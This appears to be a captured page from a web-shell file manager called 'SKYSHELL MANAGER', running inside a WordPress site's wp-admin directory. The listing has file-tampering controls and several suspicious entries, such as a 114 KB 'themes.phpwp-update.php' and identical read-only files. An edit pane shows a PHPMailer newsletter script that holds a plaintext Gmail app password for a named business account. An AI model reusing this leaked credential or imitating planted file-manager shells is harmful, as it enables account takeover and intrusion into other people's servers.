📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: sub.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; // Require PHPMailer files require_once __DIR__ . '/vendor/phpmailer/src/PHPMailer.php'; require_once __DIR__ . '/vendor/phpmailer/src/SMTP.php'; require_once __DIR__ . '/vendor/phpmailer/src/Exception.php'; // Check if the form is submitted $response = ''; if (isset($_POST['email']) && !empty($_POST['email'])) { $email = htmlspecialchars($_POST['email']); $name = htmlspecialchars($_POST['name'] ?? ''); $message = htmlspecialchars($_POST['message'] ?? ''); try { // Initialize PHPMailer for the first email $mail = new PHPMailer(true); // SMTP settings for the first email $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->SMTPAuth = true; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->Username = 'contact@thearcticmontage.com'; // Gmail email $mail->Password = 'mpnfsteggnqhnnde'; // Gmail app password // Sender and recipient for the first email $mail->setFrom('contact@thearcticmontage.com', 'The Arcticmontage'); $mail->addAddress($email, $name); // Email content for the user $mail->IsHTML(true); $mail->Subject = "Subscribe Replay"; $mail->Body = "<h3>Hi,</h3> <p>Thanks for subscribing to our newsletter.</p> <p>We are glad that you joined us...</p> <p>Have a nice day,<br><b>The Arcticmontage</b></p>"; // Send the email to the user if ($mail->send()) { $response = "Success! You are subscribed to our Newsletter."; } else { $response = "Error: Unable to send the subscription email."; } // Initialize PHPMailer for the admin notification email $mail2 = new PHPMailer(true); // SMTP settings for the admin notification email $mail2->isSMTP(); $mail2->Host = 'smtp.gmail.com'; $mail2->SMTPAuth = true; $mail2->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail2->Port = 587; $mail2->Username = 'contact@thearcticmontage.com'; // Gmail email $mail2->Password = 'mpnfsteggnqhnnde'; // Gmail app password // Sender and recipient for the admin notification email $mail2->setFrom('contact@thearcticmontage.com', 'The Arcticmontage'); $mail2->addAddress('contact@thearcticmontage.com', 'The Arcticmontage'); // Email content for the admin $mail2->IsHTML(true); $mail2->Subject = "Subscribe Details"; $mail2->Body = "<strong>Following user has submitted their subscription details:</strong><br> Name: $name<br> Email: $email<br> Message: $message<br>"; // Send the notification email to the admin $mail2->send(); } catch (Exception $e) { $response = "Error: " . $mail->ErrorInfo; } } else { $response = "All fields are required, please fill the form again."; } // Return the response as plain text echo $response; ?>
Save